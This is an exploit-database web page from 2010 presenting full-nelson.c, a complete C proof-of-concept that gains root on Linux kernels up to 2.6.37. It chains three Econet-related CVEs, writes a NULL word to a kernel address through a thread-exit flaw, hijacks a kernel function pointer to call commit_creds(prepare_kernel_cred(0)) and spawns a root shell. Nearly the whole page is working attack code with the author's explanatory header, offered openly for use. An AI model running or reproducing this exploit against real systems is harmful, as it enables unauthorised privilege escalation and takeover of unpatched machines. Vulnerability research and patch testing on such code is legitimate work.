Home / os / win7

[local exploits] - Linux Kernel <= 2.6.37 Local Privilege

Posted on 07 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Linux Kernel &lt;= 2.6.37 Local Privilege Escalation | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Linux Kernel &lt;= 2.6.37 Local Privilege Escalation by Dan Rosenberg in local exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>================================================= Linux Kernel &lt;= 2.6.37 Local Privilege Escalation ================================================= I&#039;ve included here a proof-of-concept local privilege escalation exploit for Linux. Please read the header for an explanation of what&#039;s going on. Without further ado, I present full-nelson.c: Happy hacking, Dan --snip-- /* * Linux Kernel &lt;= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it&#039;s * fairly benign as a local denial-of-service. It&#039;s a perfect candidate to * trigger the above issue, since it&#039;s reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn&#039;t be able to reach the NULL pointer dereference and trigger the * OOPS if users weren&#039;t able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn&#039;t have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn&#039;t be too hard to fix this up, but I didn&#039;t bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */ #include &lt;stdio.h&gt; #include &lt;sys/socket.h&gt; #include &lt;fcntl.h&gt; #include &lt;sys/ioctl.h&gt; #include &lt;string.h&gt; #include &lt;net/if.h&gt; #include &lt;sched.h&gt; #include &lt;stdlib.h&gt; #include &lt;signal.h&gt; #include &lt;sys/utsname.h&gt; #include &lt;sys/mman.h&gt; #include &lt;unistd.h&gt; /* How many bytes should we clear in our * function pointer to put it into userspace? */ #ifdef __x86_64__ #define SHIFT 24 #define OFFSET 3 #else #define SHIFT 8 #define OFFSET 1 #endif /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen(&quot;/proc/kallsyms&quot;, &quot;r&quot;); if (f == NULL) { f = fopen(&quot;/proc/ksyms&quot;, &quot;r&quot;); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, &quot;%p %c %s &quot;, (void **)&amp;addr, &amp;dummy, sname); else { ret = fscanf(f, &quot;%p %s &quot;, (void **)&amp;addr, sname); if (ret == 2) { char *p; if (strstr(sname, &quot;_O/&quot;) || strstr(sname, &quot;_S.&quot;)) continue; p = strrchr(sname, &#039;_&#039;); if (p &gt; ((char *)sname + 5) &amp;&amp; !strncmp(p - 3, &quot;smp&quot;, 3)) { p = p - 4; while (p &gt; (char *)sname &amp;&amp; *(p - 1) == &#039;_&#039;) p--; *p = &#039;&#039;; } } } if (ret == 0) { fscanf(f, &quot;%s &quot;, sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, &quot; [+] Resolved %s to %p%s &quot;, name, (void *)addr, rep ? &quot; (via System.map)&quot; : &quot;&quot;); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&amp;ver); if (strncmp(ver.release, &quot;2.6&quot;, 3)) oldstyle = 1; sprintf(sname, &quot;/boot/System.map-%s&quot;, ver.release); f = fopen(sname, &quot;r&quot;); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* Why do I do this? Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can&#039;t just copy the above payload * into my landing area. */ void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm(&quot;mov $getroot, %rax; call *%rax;&quot;); #else asm(&quot;mov $getroot, %eax; call *%eax;&quot;); #endif } /* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it&#039;s under KERNEL_DS */ int trigger(int * fildes) { int ret; struct ifreq ifr; memset(&amp;ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, &quot;eth0&quot;, IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &amp;ifr); if(ret &lt; 0) { printf(&quot;[*] Failed to set Econet address. &quot;); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn&#039;t get here... */ exit(0); } int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open(&quot;/dev/zero&quot;, O_RDONLY); if(fildes[0] &lt; 0 || fildes[1] &lt; 0 || fildes[2] &lt; 0 || fildes[3] &lt; 0) { printf(&quot;[*] Failed to open file descriptors. &quot;); return -1; } /* Resolve addresses of relevant symbols */ printf(&quot;[*] Resolving kernel addresses... &quot;); econet_ioctl = get_kernel_sym(&quot;econet_ioctl&quot;); econet_ops = get_kernel_sym(&quot;econet_ops&quot;); commit_creds = (_commit_creds) get_kernel_sym(&quot;commit_creds&quot;); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym(&quot;prepare_kernel_cred&quot;); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf(&quot;[*] Failed to resolve kernel symbols. &quot;); return -1; } if(!(newstack = malloc(65536))) { printf(&quot;[*] Failed to allocate memory. &quot;); return -1; } printf(&quot;[*] Calculating target... &quot;); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl &lt;&lt; SHIFT &gt;&gt; SHIFT; payload = mmap((void *)(landing &amp; ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf(&quot;[*] Failed to mmap() at target address. &quot;); return -1; } memcpy((void *)landing, &amp;trampoline, 1024); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &amp;fildes, NULL, NULL, target); sleep(1); printf(&quot;[*] Triggering payload... &quot;); ioctl(fildes[2], 0, NULL); if(getuid()) { printf(&quot;[*] Exploit failed to get root. &quot;); return -1; } printf(&quot;[*] Got root! &quot;); execl(&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, NULL); } # <a href='http://1337db.com/'>1337db.com</a> [2010-12-07]</pre></body></html>

 

TOP